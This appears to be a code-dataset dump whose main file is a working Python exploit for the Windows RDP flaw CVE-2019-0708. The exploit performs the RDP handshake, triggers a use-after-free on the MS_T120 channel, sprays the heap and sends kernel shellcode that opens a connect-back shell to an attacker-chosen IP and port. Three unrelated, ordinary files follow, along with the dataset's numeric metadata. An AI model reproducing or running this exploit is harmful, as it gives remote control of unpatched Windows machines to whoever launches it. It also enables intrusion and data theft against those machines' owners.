0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
7b5cbfeebbb6c1b6c874a7c85487913e09de67c0
24,540
py
Python
exploit.py
yassineaboukir/CVE-2019-0708
4f4ff5a9eef5ed4cda92376b25667fd5272d9753
[ "Apache-2.0" ]
null
null
null
exploit.py
yassineaboukir/CVE-2019-0708
4f4ff5a9eef5ed4cda92376b25667fd5272d9753
[ "Apache-2.0" ]
null
null
null
exploit.py
yassineaboukir/CVE-2019-0708
4f4ff5a9eef5ed4cda92376b25667fd5272d9753
[ "Apache-2.0" ]
null
null
null
import os import argparse from struct import pack from twisted.internet import reactor from twisted.application.reactors import Reactor from twisted.internet.endpoints import HostnameEndpoint from twisted.internet.protocol import ClientFactory from pyrdp.core.ssl import ClientTLSContext from pyrdp.mitm.layerset import RDPLayerSet from pyrdp.mitm.state import RDPMITMState from pyrdp.mitm.config import MITMConfig from pyrdp.layer import LayerChainItem, VirtualChannelLayer, DeviceRedirectionLayer, ClipboardLayer from pyrdp.pdu import MCSAttachUserConfirmPDU, MCSAttachUserRequestPDU, MCSChannelJoinConfirmPDU, \ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU, \ ClientChannelDefinition, PDU, ClientExtraInfo, ClientInfoPDU, DemandActivePDU, MCSSendDataIndicationPDU, \ ShareControlHeader, ConfirmActivePDU, SynchronizePDU, ShareDataHeader, ControlPDU, DeviceRedirectionPDU, \ DeviceListAnnounceRequest, X224DataPDU, NegotiationRequestPDU, NegotiationResponsePDU, X224ConnectionConfirmPDU, \ X224ConnectionRequestPDU, X224DisconnectRequestPDU, X224ErrorPDU, NegotiationFailurePDU, MCSDomainParams, \ ClientDataPDU, GCCConferenceCreateRequestPDU, SlowPathPDU, SetErrorInfoPDU, DeviceRedirectionClientCapabilitiesPDU from pyrdp.enum import NegotiationFailureCode, NegotiationProtocols, EncryptionMethod, ChannelOption, MCSChannelName, \ ParserMode, SegmentationPDUType, ClientInfoFlags, CapabilityType, VirtualChannelCompressionFlag, SlowPathPDUType, \ SlowPathDataType, DeviceRedirectionPacketID, DeviceRedirectionComponent, VirtualChannelPDUFlag from pyrdp.pdu.rdp.negotiation import NegotiationRequestPDU from pyrdp.pdu.rdp.capability import Capability from pyrdp.parser import NegotiationRequestParser, NegotiationResponseParser, ClientConnectionParser, GCCParser, \ ServerConnectionParser from pyrdp.mcs import MCSClientChannel from pyrdp.logging import LOGGER_NAMES, SessionLogger import logging # Hard-coded constant PAYLOAD_HEAD_ADDR = 0xfffffa8008711010 + 0x38 class Exploit(ClientFactory): def __init__(self, _reactor: Reactor, host: str, port: int, ip: str, bport: int): self.reactor = _reactor self.host = host self.port = port self.ip = ip self.bport = bport self.server = RDPLayerSet() self.server.tcp.createObserver(onConnection = self.sendConnectionRequest) self.server.x224.createObserver(onConnectionConfirm = self.onConnectionConfirm) self.server.mcs.createObserver( onConnectResponse = self.onConnectResponse, onAttachUserConfirm = self.onAttachUserConfirm, onChannelJoinConfirm = self.onChannelJoinConfirm, onSendDataIndication = self.onSendDataIndication ) self.server.slowPath.createObserver( onDemandActive = self.onDemandActive, onData = self.onSlowPathPDUReceived ) logger = logging.getLogger(LOGGER_NAMES.MITM_CONNECTIONS) log = SessionLogger(logger, "replay") config = MITMConfig() self.state = RDPMITMState(config, log.sessionID) self.extra_channels = [] self.name_to_id = {} self.virt_layer = {} def appendChannel(self, name, flag): self.extra_channels.append( ClientChannelDefinition(name, flag) ) def linkChannelIDWithName(self, channelID, name): self.state.channelMap[channelID] = name self.name_to_id[name] = channelID def sendConnectionRequest(self): print('Connected to RDP server') print('Sending X224ConnectionRequestPDU...') proto = NegotiationProtocols.SSL # | NegotiationProtocols.CRED_SSP request = NegotiationRequestPDU(None, 0, proto) parser = NegotiationRequestParser() payload = parser.write(request) self.server.x224.sendConnectionRequest(payload) def onConnectionConfirm(self, pdu: X224ConnectionConfirmPDU): print('Connection confirmed') print('Sending MCSConnectInitialPDU...') parser = NegotiationResponseParser() response = parser.parse(pdu.payload) if isinstance(response, NegotiationFailurePDU): print('The negotiation failed: {}'.format(str(NegotiationFailureCode.getMessage(response.failureCode)))) os.exit(0) print('The server selected {}'.format(response.selectedProtocols)) self.state.useTLS = response.tlsSelected if self.state.useTLS: self.startTLS() gcc_parser = GCCParser() client_parser = ClientConnectionParser() client_data_pdu = ClientDataPDU.generate( serverSelectedProtocol=response.selectedProtocols, encryptionMethods=EncryptionMethod.ENCRYPTION_40BIT ) # Define channels, which include MS_T120 of course client_data_pdu.networkData.channelDefinitions += self.extra_channels self.state.channelDefinitions = client_data_pdu.networkData.channelDefinitions gcc_pdu = GCCConferenceCreateRequestPDU("1", client_parser.write(client_data_pdu)) # FIXME: pyrdp has a typo in this function max_params = MCSDomainParams.createMaximum() max_params.maxUserIDs = 65535 mcs_pdu = MCSConnectInitialPDU( callingDomain=b'\x01', calledDomain=b'\x01', upward=1, targetParams=MCSDomainParams.createTarget(34, 2), minParams=MCSDomainParams.createMinimum(), maxParams=max_params, payload=gcc_parser.write(gcc_pdu) ) self.server.mcs.sendPDU(mcs_pdu) def onConnectResponse(self, pdu: MCSConnectResponsePDU): print('Got MCSConnectionResponsePDU') gcc_parser = GCCParser() server_parser = ServerConnectionParser() gcc_pdu = gcc_parser.parse(pdu.payload) server_data = server_parser.parse(gcc_pdu.payload) print('The server selected {}'.format(str(server_data.securityData.encryptionMethod))) self.state.securitySettings.setEncryptionMethod(server_data.securityData.encryptionMethod) self.state.securitySettings.setServerRandom(server_data.securityData.serverRandom) if server_data.securityData.serverCertificate: self.state.securitySettings.setServerPublicKey(server_data.securityData.serverCertificate.publicKey) for index in range(len(server_data.networkData.channels)): channelID = server_data.networkData.channels[index] name = self.state.channelDefinitions[index].name print('{} <---> Channel {}'.format(name, channelID)) self.linkChannelIDWithName(channelID, name) self.io_channelID = server_data.networkData.mcsChannelID self.linkChannelIDWithName(self.io_channelID, MCSChannelName.IO) print('Sending MCSErectDomainRequestPDU...') erect_pdu = MCSErectDomainRequestPDU(1, 1, b'') self.server.mcs.sendPDU(erect_pdu) print('Sending MCSAttachUserRequestPDU...') attach_pdu = MCSAttachUserRequestPDU() self.server.mcs.sendPDU(attach_pdu) # Issue one ChannelJoinRequest # If all the requests are consumed, then send SecurityExchangePDU and ClientInfoPDU def consumeChannelJoinRequestOrFinish(self): if self.channel_join_req_queue: channelID = self.channel_join_req_queue.pop() name = self.state.channelMap[channelID] print('Attempting to join {}...'.format(name)) join_pdu = MCSChannelJoinRequestPDU(self.initiator, channelID, b'') self.server.mcs.sendPDU(join_pdu) else : self.sendSecurityExchangePDU() self.sendClientInfoPDU() def onAttachUserConfirm(self, pdu: MCSAttachUserConfirmPDU): print('Got MCSAttachUserConfirmPDU') self.initiator = pdu.initiator print('User Channel ID: {}'.format(self.initiator)) self.linkChannelIDWithName(self.initiator, 'User') self.channels = {} self.channel_join_req_queue = list(self.state.channelMap.keys()) self.consumeChannelJoinRequestOrFinish() def onChannelJoinConfirm(self, pdu: MCSChannelJoinConfirmPDU): if pdu.result != 0: print('ChannelJoinRequest failed.') os.exit(0) print('Joined {}'.format(self.state.channelMap[pdu.channelID])) channel = MCSClientChannel(self.server.mcs, self.initiator, pdu.channelID) self.channels[pdu.channelID] = channel self.setupChannel(channel) self.consumeChannelJoinRequestOrFinish() def setupChannel(self, channel): userID = channel.userID channelID = channel.channelID name = self.state.channelMap[channelID] if name == MCSChannelName.DEVICE_REDIRECTION: self.setupDeviceChannel(channel) elif name == MCSChannelName.CLIPBOARD: self.setupClipboardChannel(channel) elif name == MCSChannelName.IO: self.setupIOChannel(channel) else : self.setupVirtualChannel(channel) def setupDeviceChannel(self, device_channel): security = self.state.createSecurityLayer(ParserMode.CLIENT, True) virtual_channel = VirtualChannelLayer(activateShowProtocolFlag=False) redirection_layer = DeviceRedirectionLayer() redirection_layer.createObserver(onPDUReceived = self.onDeviceRedirectionPDUReceived) LayerChainItem.chain(device_channel, security, virtual_channel, redirection_layer) self.server.redirection_layer = redirection_layer def setupClipboardChannel(self, clip_channel): security = self.state.createSecurityLayer(ParserMode.CLIENT, True) virtual_channel = VirtualChannelLayer() clip_layer = ClipboardLayer() clip_layer.createObserver(onPDUReceived = self.onPDUReceived) LayerChainItem.chain(clip_channel, security, virtual_channel, clip_layer) def setupIOChannel(self, io_channel): self.server.security = self.state.createSecurityLayer(ParserMode.CLIENT, False) self.server.fastPath = self.state.createFastPathLayer(ParserMode.CLIENT) self.server.security.createObserver(onLicensingDataReceived = self.onLicensingDataReceived) LayerChainItem.chain(io_channel, self.server.security, self.server.slowPath) self.server.segmentation.attachLayer(SegmentationPDUType.FAST_PATH, self.server.fastPath) def setupVirtualChannel(self, channel): security = self.state.createSecurityLayer(ParserMode.CLIENT, True) layer = VirtualChannelLayer(activateShowProtocolFlag=False) layer.createObserver(onPDUReceived = self.onPDUReceived) LayerChainItem.chain(channel, security, layer) self.virt_layer[channel] = layer def onSendDataIndication(self, pdu: MCSSendDataIndicationPDU): if pdu.channelID in self.channels: self.channels[pdu.channelID].recv(pdu.payload) else : print('Warning: channelID {} is not included in the maintained channels'.format(pdu.channelID)) def onLicensingDataReceived(self, data: bytes): if self.state.useTLS: self.server.security.securityHeaderExpected = False def onSlowPathPDUReceived(self, pdu: SlowPathPDU): if isinstance(pdu, SetErrorInfoPDU): print(pdu) def onPDUReceived(self, pdu: PDU): print(pdu) assert 0 def sendSecurityExchangePDU(self): if self.state.securitySettings.encryptionMethod == EncryptionMethod.ENCRYPTION_NONE: return # unnecessary # FIXME: we don't support ENCRYPTION_40BIT yet # because by default the server selects ENCRYPTION_NONE when TLS is specified assert 0 def sendClientInfoPDU(self): print('sending ClientInfoPDU...') AF_INET = 0x2 extra_info = ClientExtraInfo( AF_INET, 'example.com'.encode('utf-16le'), 'C:\\'.encode('utf-16le') ) English_US = 1033 client_info_pdu = ClientInfoPDU( English_US | (English_US << 16), ClientInfoFlags.INFO_UNICODE, '', '', '', '', '', extra_info ) self.server.security.sendClientInfo(client_info_pdu) def onDemandActive(self, pdu: DemandActivePDU): print('Got DemandActivePDU') print('Sending ConfirmActivePDU...') cap_sets = pdu.parsedCapabilitySets if CapabilityType.CAPSTYPE_VIRTUALCHANNEL in cap_sets: # FIXME: we should compress data for efficient spraying cap_sets[CapabilityType.CAPSTYPE_VIRTUALCHANNEL].flags = VirtualChannelCompressionFlag.VCCAPS_NO_COMPR self.has_bitmapcache = False if CapabilityType.CAPSTYPE_BITMAPCACHE in cap_sets: cap_sets[CapabilityType.CAPSTYPE_BITMAPCACHE] = Capability(CapabilityType.CAPSTYPE_BITMAPCACHE, b"\x00" * 36) self.has_bitmapcache = True TS_PROTOCOL_VERSION = 0x1 header = ShareControlHeader(SlowPathPDUType.CONFIRM_ACTIVE_PDU, TS_PROTOCOL_VERSION, self.initiator) server_channelID = 0x03EA confirm_active_pdu = ConfirmActivePDU(header, pdu.shareID, server_channelID, pdu.sourceDescriptor, -1, cap_sets, None) self.server.slowPath.sendPDU(confirm_active_pdu) print('Sending SynchronizePDU...') STREAM_LOW = 1 header = ShareDataHeader( SlowPathPDUType.DATA_PDU, TS_PROTOCOL_VERSION, self.initiator, pdu.shareID, STREAM_LOW, 8, SlowPathDataType.PDUTYPE2_SYNCHRONIZE, 0, 0 ) SYNCMSGTYPE_SYNC = 1 sync_pdu = SynchronizePDU(header, SYNCMSGTYPE_SYNC, server_channelID) self.server.slowPath.sendPDU(sync_pdu) print('Sending ControlPDU(Cooperate)...') header = ShareDataHeader( SlowPathPDUType.DATA_PDU, TS_PROTOCOL_VERSION, self.initiator, pdu.shareID, STREAM_LOW, 12, SlowPathDataType.PDUTYPE2_CONTROL, 0, 0 ) CTRLACTION_COOPERATE = 4 control_pdu = ControlPDU(header, CTRLACTION_COOPERATE, 0, 0) self.server.slowPath.sendPDU(control_pdu) print('Sending ControlPDU(Request Control)...') CTRLACTION_REQUEST_CONTROL = 1 control_pdu = ControlPDU(header, CTRLACTION_REQUEST_CONTROL, 0, 0) self.server.slowPath.sendPDU(control_pdu) if self.has_bitmapcache: print('Sending PersistentKeyListPDU...') header = ShareDataHeader( SlowPathPDUType.DATA_PDU, TS_PROTOCOL_VERSION, self.initiator, pdu.shareID, STREAM_LOW, 0, SlowPathDataType.PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST, 0, 0 ) # This PDU is hard-coded because pyrdp doesn't support it... payload = b'\x00' * 20 + b'\x03' + b'\x00' * 3 pers_pdu = SlowPathPDU(header, payload) self.server.slowPath.sendPDU(pers_pdu) print('Sending FontListPDU...') header = ShareDataHeader( SlowPathPDUType.DATA_PDU, TS_PROTOCOL_VERSION, self.initiator, pdu.shareID, STREAM_LOW, 0, SlowPathDataType.PDUTYPE2_FONTLIST, 0, 0 ) # This PDU is also hard-coded... payload = b'\x00' * 4 + b'\x03\x00' + b'\x32\x00' font_pdu = SlowPathPDU(header, payload) self.server.slowPath.sendPDU(font_pdu) print('Completed handshake') def writeDataIntoVirtualChannel(self, name, data: bytes, length=-1, flags=VirtualChannelPDUFlag.CHANNEL_FLAG_FIRST | VirtualChannelPDUFlag.CHANNEL_FLAG_LAST): channelID = self.name_to_id[name] channel = self.channels[channelID] # Send VirtualChannelPDU(manually) payload = b'' if length == -1: length = len(data) payload += pack('<I', length) payload += pack('<I', flags) payload += data MAX_CHUNK_SIZE = 1600 assert len(payload) <= MAX_CHUNK_SIZE # Since we send (possibly) a bit malformed pdu, we don't use virt_layer.sendBytes self.virt_layer[channel].previous.sendBytes(payload) def onDeviceRedirectionPDUReceived(self, pdu: DeviceRedirectionPDU): if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_SERVER_ANNOUNCE: print('Server Announce Request came') print('Sending Client Announce Reply...') reply_pdu = DeviceRedirectionPDU( DeviceRedirectionComponent.RDPDR_CTYP_CORE, DeviceRedirectionPacketID.PAKID_CORE_CLIENTID_CONFIRM, pdu.payload ) self.server.redirection_layer.sendPDU(reply_pdu) print('Sending Client Name Request...') payload = b'' payload += pack('<I', 0) payload += pack('<I', 0) name = b'hoge\x00' payload += pack('<I', len(name)) payload += name client_name_pdu = DeviceRedirectionPDU( DeviceRedirectionComponent.RDPDR_CTYP_CORE, DeviceRedirectionPacketID.PAKID_CORE_CLIENT_NAME, payload ) self.server.redirection_layer.sendPDU(client_name_pdu) elif pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_SERVER_CAPABILITY: print('Server Core Capability Request came') print('Sending Client Core Capability Response...') resp_pdu = DeviceRedirectionClientCapabilitiesPDU(pdu.capabilities) self.server.redirection_layer.sendPDU(resp_pdu) elif pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_CLIENTID_CONFIRM: print('Server Client ID Confirm came') print('Sending Client Device List Announce Request...') req_pdu = DeviceListAnnounceRequest([]) self.server.redirection_layer.sendPDU(req_pdu) print('Completed Devicve FS Virtual Channel initialization') self.runExploit() else : print(pdu) def triggerUAF(self): print('Trigger UAF') payload = b"\x00\x00\x00\x00\x00\x00\x00\x00\x02" payload += b'\x00' * 0x22 self.writeDataIntoVirtualChannel('MS_T120', payload) def dereferenceVTable(self): print('Dereference VTable') RN_USER_REQUESTED = 0x3 dpu = MCSDisconnectProviderUltimatumPDU(RN_USER_REQUESTED) self.server.mcs.sendPDU(dpu) def runExploit(self): # see shellcode.s shellcode = b'\x49\xbd\x00\x0f\x00\x00\x80\xf7\xff\xff\x48\xbf\x00\x08\x00\x00\x80\xf7\xff\xff\x48\x8d\x35\x41\x01\x00\x00\xb9\xc1\x01\x00\x00\xf3\xa4\x65\x48\x8b\x3c\x25\x38\x00\x00\x00\x48\x8b\x7f\x04\x48\xc1\xef\x0c\x48\xc1\xe7\x0c\x48\x81\xef\x00\x10\x00\x00\x66\x81\x3f\x4d\x5a\x75\xf2\x41\xbf\x3e\x4c\xf8\xce\xe8\x52\x02\x00\x00\x8b\x40\x03\x83\xe8\x08\x41\x89\x45\x10\x41\xbf\x78\x7c\xf4\xdb\xe8\x21\x02\x00\x00\x48\x91\x41\xbf\x3f\x5f\x64\x77\xe8\x30\x02\x00\x00\x8b\x58\x03\x48\x8d\x53\x28\x41\x89\x55\x00\x65\x48\x8b\x2c\x25\x88\x01\x00\x00\x48\x8d\x14\x11\x48\x8b\x12\x48\x89\xd0\x48\x29\xe8\x48\x3d\x00\x05\x00\x00\x77\xef\x41\x89\x45\x08\x41\xbf\xe1\x14\x01\x17\xe8\xf8\x01\x00\x00\x8b\x50\x03\x83\xc2\x08\x48\x8d\x34\x19\xe8\xd4\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x74\x09\x48\x8b\x0c\x11\x48\x29\xd1\xeb\xe7\x41\x8b\x6d\x00\x48\x01\xcd\x48\x89\xeb\x48\x8b\x6d\x08\x48\x39\xeb\x74\xf7\x48\x89\xea\x49\x2b\x55\x08\x41\x8b\x45\x10\x48\x01\xd0\x48\x83\x38\x00\x74\xe3\x49\x8d\x4d\x18\x4d\x31\xc0\x4c\x8d\x0d\x4c\x00\x00\x00\x41\x55\x6a\x01\x68\x00\x08\xfe\x7f\x41\x50\x48\x83\xec\x20\x41\xbf\xc4\x5c\x19\x6d\xe8\x6e\x01\x00\x00\x4d\x31\xc9\x48\x31\xd2\x49\x8d\x4d\x18\x41\xbf\x34\x46\xcc\xaf\xe8\x59\x01\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\x9e\x49\x8b\x45\x28\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb\x8b\xeb\xfe\x48\xb8\x00\xff\x3f\x00\x80\xf6\xff\xff\x80\x08\x02\x80\x60\x07\x7f\xc3\x65\x48\x8b\x3c\x25\x60\x00\x00\x00\x41\xbf\xe7\xdf\x59\x6e\xe8\x86\x01\x00\x00\x49\x94\x41\xbf\xa8\x6f\xcd\x4e\xe8\x79\x01\x00\x00\x49\x95\x41\xbf\x57\x05\x63\xcf\xe8\x6c\x01\x00\x00\x49\x96\x48\x81\xec\xa0\x02\x00\x00\x31\xf6\x31\xc0\x48\x8d\x7c\x24\x58\xb9\x60\x00\x00\x00\xf3\xaa\x48\x8d\x94\x24\xf0\x00\x00\x00\xb9\x02\x02\x00\x00\x41\xff\xd4\x6a\x02\x5f\x8d\x56\x01\x89\xf9\x4d\x31\xc9\x4d\x31\xc0\x89\x74\x24\x28\x89\x74\x24\x20\x41\xff\xd5\x48\x93\x66\x89\xbc\x24\xd8\x00\x00\x00\xc7\x84\x24\xdc\x00\x00\x00\xc0\xa8\x38\x01\x66\xc7\x84\x24\xda\x00\x00\x00\x11\x5c\x44\x8d\x46\x10\x48\x8d\x94\x24\xd8\x00\x00\x00\x48\x89\xd9\x41\xff\xd6\x48\x8d\x15\x7e\x00\x00\x00\x4d\x31\xc0\x4d\x31\xc9\x31\xc9\x48\x8d\x84\x24\xc0\x00\x00\x00\x48\x89\x44\x24\x48\x48\x8d\x44\x24\x50\x48\x89\x44\x24\x40\x48\x89\x74\x24\x38\x48\x89\x74\x24\x30\x89\x74\x24\x28\xc7\x44\x24\x20\x01\x00\x00\x00\x66\x89\xb4\x24\x90\x00\x00\x00\x48\x89\x9c\x24\xa0\x00\x00\x00\x48\x89\x9c\x24\xa8\x00\x00\x00\x48\x89\x9c\x24\xb0\x00\x00\x00\xc7\x44\x24\x50\x68\x00\x00\x00\xc7\x84\x24\x8c\x00\x00\x00\x01\x01\x00\x00\x65\x48\x8b\x3c\x25\x60\x00\x00\x00\x41\xbf\x9f\xb5\x90\xf3\xe8\x96\x00\x00\x00\xeb\xfe\x63\x6d\x64\x00\xe8\x17\x00\x00\x00\xff\xe0\x57\x48\x31\xff\x48\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x84\xc0\x75\xf6\x48\x97\x5f\xc3\x57\x56\x53\x51\x52\x55\x8b\x4f\x3c\x8b\xac\x0f\x88\x00\x00\x00\x48\x01\xfd\x8b\x4d\x18\x8b\x5d\x20\x48\x01\xfb\x67\xe3\x2b\x48\xff\xc9\x8b\x34\x8b\x48\x01\xfe\xe8\xbe\xff\xff\xff\x44\x39\xf8\x75\xea\x8b\x5d\x24\x48\x01\xfb\x66\x8b\x0c\x4b\x8b\x5d\x1c\x48\x01\xfb\x8b\x04\x8b\x48\x01\xf8\xeb\x03\x48\x31\xc0\x5d\x5a\x59\x5b\x5e\x5f\xc3\x57\x41\x56\x48\x8b\x7f\x18\x4c\x8b\x77\x20\x4d\x8b\x36\x49\x8b\x7e\x20\xe8\x95\xff\xff\xff\x48\x85\xc0\x74\xef\x41\x5e\x5f\xc3\xe8\xdb\xff\xff\xff\xff\xe0' # FIXME: hard-coded ip address and port number assert self.ip.count('.') == 3 dots = [int(v) for v in self.ip.split('.')] val = 0 for i in range(4): assert 0 <= dots[i] <= 255 val += dots[i] << (8*i) tmp = shellcode[:0x1dd] tmp += pack('<I', val) tmp += shellcode[0x1e1:0x1e9] tmp += pack('>H', self.bport) tmp += shellcode[0x1eb:] shellcode = tmp for j in range(0x10000): if j%0x400 == 0: print(hex(j)) payload = b'' # PAYLOAD_HEAD_ADDR payload += pack('<Q', PAYLOAD_HEAD_ADDR+8) # vtable payload += shellcode payload = payload.ljust(1580, b'X') assert len(payload) == 1580 self.writeDataIntoVirtualChannel('RDPSND', payload) self.triggerUAF() for j in range(0x600): if j%0x40 == 0: print(hex(j)) payload = b'' # resource + 0x20 payload += pack('<Q', 0) # Shared payload += pack('<Q', 0) # Exc payload += pack('<Q', 0xdeadbeeffeedface) payload += pack('<Q', 0xdeadbeeffeedface) payload += pack('<I', 0x0) payload += pack('<I', 0x0) payload += pack('<I', 0x0) # NumShared payload += pack('<I', 0x0) payload += pack('<Q', 0x0) payload += pack('<Q', 0xcafebabefeedfeed) payload += pack('<Q', 0x0) # SpinL # resource2 payload += pack('<Q', 0xcafebabefeedfeed) payload += pack('<Q', 0xfeedfeed14451445) payload += pack('<Q', 0) payload += pack('<H', 0) # Active payload += pack('<H', 0) payload += pack('<I', 0) payload += pack('<Q', 0) # Shared payload += pack('<Q', 0) # Exc payload += pack('<Q', 0xdeadbeeffeedface) payload += pack('<Q', 0xdeadbeeffeedface) payload += pack('<I', 0x0) payload += pack('<I', 0x0) payload += pack('<I', 0x0) # NumShared payload += pack('<I', 0x0) payload += pack('<Q', 0x0) payload += pack('<Q', 0xcafebabefeedfeed) payload += pack('<Q', 0x0) # SpinL # remainder payload += pack('<I', 0) payload += pack('<I', 0) payload += pack('<Q', 0x72) payload += b'W' * 8 payload += pack('<Q', PAYLOAD_HEAD_ADDR) # vtable payload += pack('<I', 0x5) assert len(payload) == 0x10C - 0x38 payload += b'MS_T120\x00' payload += pack('<I', 0x1f) payload = payload.ljust(296, b'Z') assert len(payload) == 296 self.writeDataIntoVirtualChannel('RDPSND', payload) print('payload size: {}'.format(len(shellcode))) self.dereferenceVTable() def startTLS(self): contextForServer = ClientTLSContext() self.server.tcp.startTLS(contextForServer) def buildProtocol(self, addr): return self.server.tcp def run(self): endpoint = HostnameEndpoint(reactor, self.host, self.port) endpoint.connect(self) self.reactor.run() def main(): parser = argparse.ArgumentParser() parser.add_argument("rdp_host", help="the target RDP server's ip address") parser.add_argument("-rp", "--rdpport", type=int, default=3389, help="the target RDP server's port number", required=False) parser.add_argument("backdoor_ip", help="the ip address for connect-back shellcode") parser.add_argument("-bp", "--backport", type=int, default=4444, help="the port number for connect-back shellcode", required=False) args = parser.parse_args() exploit = Exploit(reactor, args.rdp_host, args.rdpport, args.backdoor_ip, args.backport) #exploit.appendChannel('drdynvc', ChannelOption.CHANNEL_OPTION_INITIALIZED) #exploit.appendChannel(MCSChannelName.CLIPBOARD, ChannelOption.CHANNEL_OPTION_INITIALIZED) exploit.appendChannel(MCSChannelName.DEVICE_REDIRECTION, ChannelOption.CHANNEL_OPTION_INITIALIZED) exploit.appendChannel('RDPSND', ChannelOption.CHANNEL_OPTION_INITIALIZED) exploit.appendChannel('MS_T120', ChannelOption.CHANNEL_OPTION_INITIALIZED) exploit.run() print('done') if __name__ == '__main__': main()
44.699454
3,207
0.724165
3,007
24,540
5.821749
0.220486
0.024335
0.014395
0.006855
0.209642
0.169313
0.132754
0.093968
0.075745
0.064778
0
0.073516
0.153586
24,540
548
3,208
44.781022
0.769294
0.04075
0
0.205184
0
0.00216
0.199991
0.145537
0
1
0.011997
0.001825
0.017279
1
0.064795
false
0
0.043197
0.00216
0.114471
0.092873
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
2
7b917e46393f05ca669d8af2e30bf77af89da6ab
1,640
py
Python
setup.py
RunnerPyzza/RunnerPyzza
47f46339ab510635120613ac683f0be462f54ca4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
setup.py
RunnerPyzza/RunnerPyzza
47f46339ab510635120613ac683f0be462f54ca4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
setup.py
RunnerPyzza/RunnerPyzza
47f46339ab510635120613ac683f0be462f54ca4
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
from distutils.core import setup from distutils.command.build_py import build_py import os import shutil import stat from RunnerPyzza import __version__ class runner_build_py(build_py): def runner_install(self): print "RunnerPyzza basic configuration ..." try: os.mkdir("/etc/runnerpyzza/") except: pass try: os.mkdir("/etc/runnerpyzza/log") os.system("chmod 777 /etc/runnerpyzza/log") except: pass shutil.copy2("RPdaemon.conf", "/etc/runnerpyzza/RPdaemon.conf") shutil.copy2("runnerpyzza", "/etc/runnerpyzza/runnerpyzza") try: os.system("chmod 755 /etc/runnerpyzza/runnerpyzza") except: pass print "RunnerPyzza basic configuration ... Done!" def run(self): self.runner_install() build_py.run(self) #run superclass method setup( name = 'RunnerPyzza', version = __version__, author = 'Marco Galardini - Emilio Potenza', author_email = '[email protected] - [email protected]', packages = ['RunnerPyzza','RunnerPyzza.ClientCommon', 'RunnerPyzza.Common', 'RunnerPyzza.LauncherManager', 'RunnerPyzza.ServerCommon'], scripts = ['RPdaemon','RPlauncher','RPaddservice','RPadduser','RPpreparedir','RPsshkeys'], #url = 'http://RunnerPyzza', license = 'LICENSE.txt', description = 'An easy to use queue system for laboratory networks', long_description = open('README.txt').read(), install_requires = ["paramiko >= 1.7.7.2", "argparse >= 1.1"], cmdclass = {"build_py" : runner_build_py} )
33.469388
140
0.646951
176
1,640
5.903409
0.465909
0.047161
0.025024
0.065448
0.046198
0
0
0
0
0
0
0.011024
0.22561
1,640
48
141
34.166667
0.807087
0.029268
0
0.219512
0
0
0.401009
0.132409
0
0
0
0
0
0
null
null
0.073171
0.146341
null
null
0.04878
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
7bad82b4e2d7cbdb41d0bbaab31ed7d1164ed27e
108
py
Python
Crash Course Python, 2nd Edition/Chapter 3, Introducing List/YourOwnList.py
EdgarCastillo101/Crash-Course-Python-2nd-edition
484c9096076c0ba69b1b9d78c6c974064fc1eda3
[ "MIT" ]
null
null
null
Crash Course Python, 2nd Edition/Chapter 3, Introducing List/YourOwnList.py
EdgarCastillo101/Crash-Course-Python-2nd-edition
484c9096076c0ba69b1b9d78c6c974064fc1eda3
[ "MIT" ]
null
null
null
Crash Course Python, 2nd Edition/Chapter 3, Introducing List/YourOwnList.py
EdgarCastillo101/Crash-Course-Python-2nd-edition
484c9096076c0ba69b1b9d78c6c974064fc1eda3
[ "MIT" ]
null
null
null
car = ['volvo', 'toyota', 'BMW', 'Yes?'] message = f"I would like to own a {car[1].title()}" print(message)
27
51
0.601852
18
108
3.611111
0.888889
0
0
0
0
0
0
0
0
0
0
0.01087
0.148148
108
4
52
27
0.695652
0
0
0
0
0
0.513761
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c89c4416cb922696e6077b691fa44b4a364a4846
447
py
Python
output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_enumeration_2_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_enumeration_2_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/nist_data/list_pkg/non_positive_integer/schema_instance/nistschema_sv_iv_list_non_positive_integer_enumeration_2_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.nist_data.list_pkg.non_positive_integer.schema_instance.nistschema_sv_iv_list_non_positive_integer_enumeration_2_xsd.nistschema_sv_iv_list_non_positive_integer_enumeration_2 import ( NistschemaSvIvListNonPositiveIntegerEnumeration2, NistschemaSvIvListNonPositiveIntegerEnumeration2Type, ) __all__ = [ "NistschemaSvIvListNonPositiveIntegerEnumeration2", "NistschemaSvIvListNonPositiveIntegerEnumeration2Type", ]
44.7
201
0.888143
37
447
10.027027
0.594595
0.088949
0.145553
0.097035
